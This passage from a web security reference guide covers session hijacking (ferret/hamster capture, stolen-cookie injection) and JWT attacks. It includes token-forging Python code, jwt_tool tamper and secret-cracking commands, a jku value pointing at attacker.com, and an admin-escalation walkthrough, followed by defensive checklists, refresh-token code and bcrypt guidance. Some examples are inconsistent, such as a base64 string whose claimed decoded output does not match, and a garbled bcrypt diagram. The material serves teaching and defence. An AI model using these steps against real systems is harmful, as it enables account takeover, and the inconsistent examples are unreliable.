# DevTools (F12) -- Application -- Cookies -- Add stolen cookie

# Refresh page -- authenticated as victim

# Modern automated tool:

$ ferret -i wlan0 # capture sessions from interface

$ hamster # web UI to browse as captured users
```

4.5 Remediation

- * **Regenerate session ID after login** -- invalidate old ID immediately. Critical.
- * Use **cryptographically random** SIDs: minimum 128 bits from CSPRNG.
- * Bind session to client fingerprint (User-Agent + IP) -- invalidate on unexpected change.
- * Set cookies: **HttpOnly; Secure; SameSite=Strict** -- all three together.
- * **HTTPS everywhere** with HSTS (HTTP Strict Transport Security) header.
- * **Absolute session timeout** (e.g., 8 hours) AND idle timeout (15-30 min).
- * Logout **immediately invalidates** server-side session -- don't just delete client cookie.
- * Detect concurrent sessions from impossible locations (two continents in 10 minutes).
- * **Never** put session IDs in URLs -- always in cookies or Authorization header.
- * Implement **CSRF tokens** for state-changing operations as defense-in-depth.

JWT Manipulation & Forgery

Decoding · Attacks · Signature Bypass · Tools

5.1 Decoding JWTs Online -- jwt.io and Tools

JWTs are Base64URL encoded -- NOT encrypted (unless JWE is used). Anyone with the token can instantly decode the header and payload. The signature is the ONLY security control.

```
# Decode without any tools -- pure Base64URL decoding:

$ echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d

# Output: {"alg":"HS256","typ":"JWT"}

$ echo 'eyJzdWIiOiIxMjM0Iiwicm9udCI6ImFkbG8iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | base64 -d

# Output: {"sub":"1234","role":"admin"}

# Online tool: https://jwt.io

# Paste any JWT -- see decoded header, payload in real-time

# Also verifies signature if you provide the secret

# Command-line tool -- jwt_tool:

$ git clone https://github.com/ticarpi/jwt_tool

$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

5.2 Algorithm Confusion / Header Attacks

Attack 1: 'alg:none' -- No Signature Attack

If a library accepts the 'none' algorithm, the attacker strips the signature entirely.

Steps:

1. Decode the JWT: `base64url_decode(header) + base64url_decode(payload)`
2. Modify header: change 'alg' from 'HS256' to 'none'
3. Modify payload: change 'role':'user' to 'role':'admin'
4. Re-encode: `base64url_encode(new_header) + '.' + base64url_encode(new_payload) + ''`
5. Send the forged token with EMPTY signature (just a trailing dot)

If server accepts it -- instant admin access with no secret knowledge!

Attack 2: RS256 to HS256 Algorithm Confusion

Setup: Server uses RS256. Has private key (secret) and public key (often publicly available).

Attack: Switch algorithm to HS256 and sign with the PUBLIC KEY as the HMAC secret.

Why it works: Server verifies HS256(token, public_key) -- matches because attacker used same key!

Steps:

1. Obtain public key from /api/jwks.json or /.well-known/openid-configuration
2. Decode the current valid JWT
3. Change header: alg: 'RS256' to alg: 'HS256'
4. Modify payload claims (e.g., role: 'admin')
5. Sign with HMAC-SHA256 using the PUBLIC KEY bytes as the HMAC secret
6. Send forged token -- server validates HS256(token, public_key) = MATCH!

Fix: HARDCODE the algorithm server-side. NEVER read alg from the token itself.

Attack 3: jwk and jku Header Injection

jwk injection: Attacker embeds their OWN public key in the JWT header.

Add to header: { 'alg': 'RS256', 'jwk': { 'kty': 'RSA', 'n': '...attacker_pub_key...' } }

If server uses the embedded JWK to verify -- attacker signs with matching private key!

jku injection: Attacker sets 'jku' to their own URL hosting a malicious JWK set.

Add to header: { 'alg': 'RS256', 'jku': 'https://attacker.com/jwks.json' }

If server fetches JWKs from this URL -- same result as jwk injection

Fix: Verify JWKs only from a pinned, trusted URL. Never use keys from the token itself.

5.3 Payload Tampering -- Changing Claims

```
# Original valid JWT (decoded payload):

# { "sub": "1234", "username": "alice", "role": "user",

# "exp": 1700000000, "iat": 1699996400, "jti": "abc-xyz" }

# MANUAL TAMPERING

import base64, json

# Modify payload
```

```

new_payload = { "sub": "1", "username": "admin", "role": "admin",

"exp": 9999999999, "iat": 1699996400, "jti": "abc-xyz" }

def b64url(data):

    return
    base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()

header = b64url({'alg':'HS256','typ':'JWT'})

payload = b64url(new_payload)

forged_none = f'{header}.{payload}.' # no signature -- testing if server
verifies

print('Forged (none):', forged_none)

# jwt_tool AUTOMATION

$ python3 jwt_tool.py TOKEN -T # interactive tamper mode

$ python3 jwt_tool.py TOKEN -X a # 'none' algorithm attack

$ python3 jwt_tool.py TOKEN -X s # RS256 -> HS256 confusion

$ python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt # crack
secret

$ python3 jwt_tool.py TOKEN -I -pc role -pv admin # inject claim

```

5.4 Signature Bypass Techniques -- Summary Table

Technique	Condition Required	Impact
alg:none	Library accepts 'none' algorithm	Full token forgery -- no secret needed
RS256 to HS256	Alg switchable + public key obtainable	Sign with public key as HMAC secret
HS256 Brute-Force	Weak/short HS256 secret	Recover secret, forge any token
kid SQL Injection	kid param used in SQL query unsanitized	SQLi or auth bypass via key selection
kid Path Traversal	kid param used as filesystem path	Read arbitrary files as signing key
jwk Header Inject	Server uses embedded JWK for verification	Embed attacker's own public key

jku URL Inject	Server fetches JWK from URL in token	Host attacker's JWK at arbitrary URL
x5c Certificate Inject	Server accepts x5c certificate chain	Embed self-signed cert, server trusts it
Token Replay	No jti validation or short-enough exp	Reuse valid token after logout

5.5 Using jwt.io -- Changing Payload, Header & Logging in with Modified Token

jwt.io is the most popular online JWT tool. Complete walkthrough for authorized security testing:

```
# STEP-BY-STEP: jwt.io Token Manipulation

# Step 1: Obtain a valid JWT (from Burp Suite intercept or browser DevTools)

# Network tab -- XHR requests -- Authorization: Bearer eyJhbGci...

# Or: Application -- Local Storage -- 'token' or 'access_token'

# Step 2: Go to https://jwt.io

# Paste the token in the 'Encoded' box on the left

# The Decoded panel shows:

# HEADER: { alg: "HS256", typ: "JWT" }

# PAYLOAD: { sub: "1234", role: "user", exp: 17000000000 }

# Step 3: Modify the PAYLOAD section

# Change: role: "user" to role: "admin"

# Change: exp: 17000000000 to exp: 9999999999 (far future)

# Change: sub: "1234" to sub: "1" (try admin user ID)

# Step 4: Modify the HEADER if needed

# Change: alg: "HS256" to alg: "none" (to test none attack)

# Step 5: If secret is known (cracked or default)

# Enter secret in 'your-256-bit-secret' box -- jwt.io computes valid signature
```

```

# Step 6: Copy the modified token from the Encoded box

# Step 7: Inject modified token back into session

# Option A -- Burp Suite Repeater:

# Replace Authorization: Bearer <old_token> with <new_token>

# Observe response -- if role changed, server may grant elevated access

# Option B -- Browser Storage:

# DevTools -- Application -- Local Storage -- replace token value -- reload

# Option C -- Cookie:

# DevTools -- Application -- Cookies -- edit JWT cookie value

# Or use 'Cookie-Editor' extension for easier manipulation

# SUCCESS INDICATORS:

# - Admin menu/routes appear

# - API returns data for other users

# - Profile shows different username

# - Server returns 200 instead of 403

```

5.6 Defensive JWT Validation Checklist

Algorithm Pinning	Hardcode expected algorithm server-side. NEVER read alg from the token header.
Signature Verification	ALWAYS verify signature FIRST before reading any claim whatsoever.
Expiry (exp) Check	Reject tokens where current_time >= exp. Use server clock only.
Not Before (nbf) Check	Reject tokens where current_time < nbf (max 5 second clock skew allowed).
Issued-At (iat) Check	Reject tokens with iat far in the future (anti clock-skew manipulation).
Issuer (iss) Check	Validate iss matches your configured expected issuer exactly.

Audience (aud) Check	Validate aud matches this service's identifier -- prevents token reuse.
JTI Blocklist Check	Check jti against revocation list (Redis) for logout/revocation support.
Minimal Payload Claims	Never store PII, passwords, or sensitive data in JWT payload.
Short Expiry + Refresh	Access tokens: 15 min max. Refresh tokens: 7-30 days with rotation.

6.1 JWE -- JSON Web Encryption

JWS (signed JWT) provides integrity and authenticity but NOT confidentiality -- the payload is visible to anyone who has the token. JWE (JSON Web Encryption, RFC 7516) adds encryption, producing a 5-part token: Header.EncryptedKey.IV.Ciphertext.AuthTag

JWE Format (5 parts, '.' separated):

HEADER . ENCRYPTED_CEK . IV . CIPHERTEXT . AUTH_TAG

Header: { 'alg': 'RSA-OAEP', 'enc': 'A256GCM' }

alg = key management algorithm (how Content Encryption Key is wrapped)

enc = content encryption algorithm (how payload is encrypted)

JWE Encryption Process:

1. Generate random 256-bit Content Encryption Key (CEK)
2. Encrypt CEK with recipient's RSA public key using RSA-OAEP
3. Generate random 96-bit IV
4. Encrypt payload with AES-256-GCM using CEK and IV

Result: ciphertext + 128-bit authentication tag

5. Base64URL encode all parts and join with '.'

JWE Decryption (recipient):

1. Decode header to find alg and enc
2. Decrypt EncryptedKey with RSA private key -- recovers CEK
3. Decrypt ciphertext with CEK+IV, verify auth tag
4. Parse decrypted JSON payload

Use JWE when: payload contains PII, financial data, medical records, or sensitive claims.

Best practice: Sign-then-Encrypt -- create JWS first, then wrap it in JWE (nested JWT).

6.2 JWT Revocation Strategies

JWT's stateless nature makes revocation non-trivial. A signed token is valid until expiry by design. Several patterns address this trade-off:

Short Expiry + Refresh	Access tokens expire in 15 min. Max revocation delay = 15 min. Best balance of statelessness and security.
JTI Blocklist (Redis)	Store jti of revoked tokens in Redis with TTL = remaining token lifetime. Check on every request. O(1) lookup.
User Version Counter	DB column: users.token_version. Embed version in JWT. Reject if token_version < current. Revoke all tokens by incrementing.
Hybrid Session+JWT	JWT only carries a session reference ID; actual state in Redis. Revoke by deleting session. Loses stateless benefit.
Key Rotation	Rotate signing key to invalidate ALL tokens simultaneously. For emergency revocation or breach response.

6.3 Refresh Token Pattern -- Full Implementation

```
# ISSUING TOKENS ON LOGIN

import jwt, secrets, hashlib, datetime

def login(username, password):

    user = users_db.find(username=username)

    if not bcrypt.verify(password, user.password_hash): raise Unauthorized()

    # Short-lived access token (stateless JWT)

    access_payload = {

        'sub': user.id, 'name': user.name, 'roles': user.roles,

        'iss': 'https://auth.example.com',

        'aud': 'https://api.example.com',
```

```

'iat': datetime.datetime.utcnow(),

'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=15),

'jti': secrets.token_urlsafe(16),

}

access_token = jwt.encode(access_payload, SECRET, 'HS256')

# Long-lived refresh token (opaque, stored in DB)

refresh_token_raw = secrets.token_urlsafe(48)

refresh_token_hash = hashlib.sha256(refresh_token_raw.encode()).hexdigest()

refresh_tokens_db.insert({

'user_id': user.id, 'token_hash': refresh_token_hash,

'expires_at': datetime.datetime.utcnow() + datetime.timedelta(days=30),

})

return {'access_token': access_token, 'refresh_token': refresh_token_raw}

# REFRESHING ACCESS TOKEN

def refresh(refresh_token_raw):

token_hash = hashlib.sha256(refresh_token_raw.encode()).hexdigest()

stored = refresh_tokens_db.find(token_hash=token_hash)

if not stored: raise Unauthorized('Invalid refresh token')

if stored.expires_at < datetime.datetime.utcnow(): raise
Unauthorized('Expired')

# ROTATION: delete old refresh token, issue new one

refresh_tokens_db.delete(stored.id) # Old token is now INVALID

new_refresh_raw = secrets.token_urlsafe(48)

new_hash = hashlib.sha256(new_refresh_raw.encode()).hexdigest()

refresh_tokens_db.insert({'user_id': stored.user_id, 'token_hash': new_hash,

```

```
'expires_at': datetime.datetime.utcnow() + datetime.timedelta(days=30))}

# If old refresh token presented again: SECURITY EVENT -- revoke ALL user
sessions!
```

6.4 Common JWT Vulnerability Summary

Vulnerability	Severity	Mitigation
Weak/guessable HS256 secret	CRITICAL	Use 256-bit cryptographically random secret
'none' algorithm accepted	CRITICAL	Hardcode algorithm server-side; reject 'none'
Algorithm confusion (RS/HS)	CRITICAL	Never read alg from token; pin it server-side
Missing signature verification	CRITICAL	Always verify before reading any claim
Missing exp validation	HIGH	Always check exp; reject expired tokens
Missing iss/aud validation	HIGH	Validate both issuer and audience on every request
kid SQL/path injection	HIGH	Sanitize/whitelist kid; never pass to DB/filesystem
JWT in URL parameters	HIGH	Always use Authorization header or HttpOnly cookie
Sensitive data in payload	MEDIUM	Payload is visible -- use JWE if confidentiality needed
Long access token expiry	MEDIUM	Max 15 minutes for access tokens; use refresh pattern
No jti / revocation support	MEDIUM	Add jti and implement revocation blocklist
jwk/jku header injection	HIGH	Pin JWK URL server-side; never trust token-embedded keys

Introduction to bcrypt

[Password Hashing](#) ·
 [Work Factor](#) ·
 [Comparisons](#) ·
 [Code](#)

7.1 Why bcrypt? The Problem with Fast Hash Functions

SHA-256, MD5, and SHA-1 were designed for speed -- billions of hashes per second on modern GPUs. This is catastrophic for password storage: a single Nvidia RTX 4090 can attempt 164 BILLION MD5 hashes per second, cracking an 8-character alphanumeric password in minutes.

GPU Password Cracking Speed (Nvidia RTX 4090, 2024)

MD5 : 164,100 MH/s (164 BILLION/second) -- cracks common passwords in seconds

SHA-1 : 51,820 MH/s (51 billion/second) -- only ~3x slower than MD5

SHA-256 : 22,940 MH/s (22 billion/second) -- still dangerously fast

SHA-512 : 7,200 MH/s (7 billion/second) -- still fast enough to crack

bcrypt cost=10: 217 kH/s (217 THOUSAND/second) -- 750,000x slower than MD5

bcrypt cost=12: 54 kH/s (54 thousand/second) -- 3 million x slower than MD5

Argon2id : varies -- memory-hard, GPU speed advantage drastically reduced

An 8-char alphanumeric password: MD5 = seconds to crack, bcrypt(12) = centuries.

bcrypt's deliberate slowness is its core security feature.

7.2 How bcrypt Works Internally

bcrypt was designed by Niels Provos and David Mazieres in 1999, based on the Blowfish cipher. It uses EksBlowfish (Expensive Key Schedule Blowfish) that intentionally requires many expensive iterations before producing a hash.

```
| | 22-char Base64 salt 31-char Base64 hash
```

```
| cost = 12 ( $2^{12} = 4096$  iterations) of the password
```

```
version ($2b = current standard)
```

Internal Algorithm Steps:

1. Generate 16 bytes of cryptographic random salt
2. Encode salt as 22-character Base64
3. Run EksBlowfishSetup(cost, salt, password):
 - a. Initialize Blowfish with 'OrpheanBeholderScryDoubt' constant
 - b. Repeat 2^{cost} times:
 - i. ExpandKey(state, salt)
 - ii. ExpandKey(state, password)
 - c. Encrypt the constant 64 times
4. Output: version + \$ + cost + \$ + salt + hash

Key properties:

- Same password + different salt = DIFFERENT hash every time (salted!)
- One-way function: bcrypt(password) -- hash (cannot reverse)
- The salt is embedded in the hash -- no need to store separately

7.3 Work Factor / Cost Parameter

The cost parameter determines iteration count: 2^{cost} . Increasing cost by 1 doubles the time. Target: 100-300ms per hash on your hardware. Increase annually as hardware improves.

Cost	Iterations	Time (2024 server)	Recommendation
4	16	< 1ms	Development/testing ONLY -- too weak for production
10	1,024	50-100ms	Minimum for production (current OWASP recommendation)
12	4,096	200-400ms	Recommended for new systems (2024)
14	16,384	800ms-1.5s	High-security (admin accounts, sensitive systems)
16	65,536	3-6 seconds	Very high security -- noticeable UX impact on login

7.4 bcrypt vs Argon2id vs scrypt

Property	bcrypt	Argon2id	scrypt
Year	1999	2015 (PHC winner)	2009

Memory-hard	No	Yes (tunable)	Yes (fixed)
Time-hard	Yes	Yes	Yes
GPU resistant	Good	Excellent	Good
ASIC resistant	Moderate	Excellent	Good
Password length limit	72 bytes MAX!	No limit	No limit
OWASP recommended	Yes (cost 10+)	Yes (primary)	Yes
Parallelism param	No	Yes (p=)	No
Best use case	Legacy/widely supported	New systems, max security	When Argon2 unavailable

7.5 Implementation Examples

Python:

```
# pip install bcrypt

import bcrypt

# Hash password (during registration):

password = 'user_password_here'

salt = bcrypt.gensalt(rounds=12) # rounds=12 is the cost factor

hashed = bcrypt.hashpw(password.encode('utf-8'), salt)

# Store hashed in database

# Verify password (during login):

stored_hash = get_hash_from_db(username)

if bcrypt.checkpw(password.encode('utf-8'), stored_hash):

    print('Password correct -- login successful')

else:

    print('Invalid credentials')

# Handle 72-byte limit -- pre-hash for longer passwords:

import hashlib, base64
```

```
def safe_bcrypt_hash(password):  
  
    pre_hashed = base64.b64encode(hashlib.sha256(password.encode()).digest())  
  
    return bcrypt.hashpw(pre_hashed, bcrypt.gensalt(rounds=12))
```

Node.js:

```
// npm install bcrypt  
  
const bcrypt = require('bcrypt');  
  
const SALT_ROUNDS = 12;  
  
// Hash password (registration):  
  
async function hashPassword(plaintext) {  
  
    const hash = await bcrypt.hash(plaintext, SALT_ROUNDS);  
  
    return hash; // Store this in DB  
  
}  
  
// Verify password (login):  
  
async function verifyPassword(plaintext, storedHash) {  
  
    const match = await bcrypt.compare(plaintext, storedHash);  
  
    return match; // true or false  
  
}
```

Java (Spring Security):

```
// Spring Boot dependency: spring-security-crypto  
  
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;  
  
BCryptPasswordEncoder encoder = new BCryptPasswordEncoder(12); // strength=12  
  
// Hash:  
  
String hashed = encoder.encode(rawPassword);
```

```
// Verify:
```

```
boolean matches = encoder.matches(rawPassword, storedHash);
```

7.6 bcrypt Security Best Practices

- * Use **cost factor 12 or higher** for new systems in 2024.
- * Benchmark on actual production hardware: target 200-400ms per hash.
- * Increase cost factor annually -- double it roughly every 2 years as hardware improves.
- * Add a **pepper**: a secret value in app config (not DB) prepended to password before hashing. Even if DB is stolen, attacker cannot crack hashes without the pepper.
- * Handle the **72-byte limit**: pre-hash with SHA-256 for passwords that may exceed it.
- * Never compare hashes with == -- always use library's constant-time compare function.
- * **Migrate legacy MD5/SHA hashes** to bcrypt on next login (transparent migration).
- * Consider **Argon2id** for all new systems -- it is the OWASP primary recommendation.

END OF DOCUMENT

JWT & Web Security -- Comprehensive Reference Guide

Covers: JSON Web Tokens | OWASP Top 10 | Cookie Theft | Session Hijacking | JWT Manipulation | bcrypt Password Hashing

For Educational and Authorized Security Research Purposes Only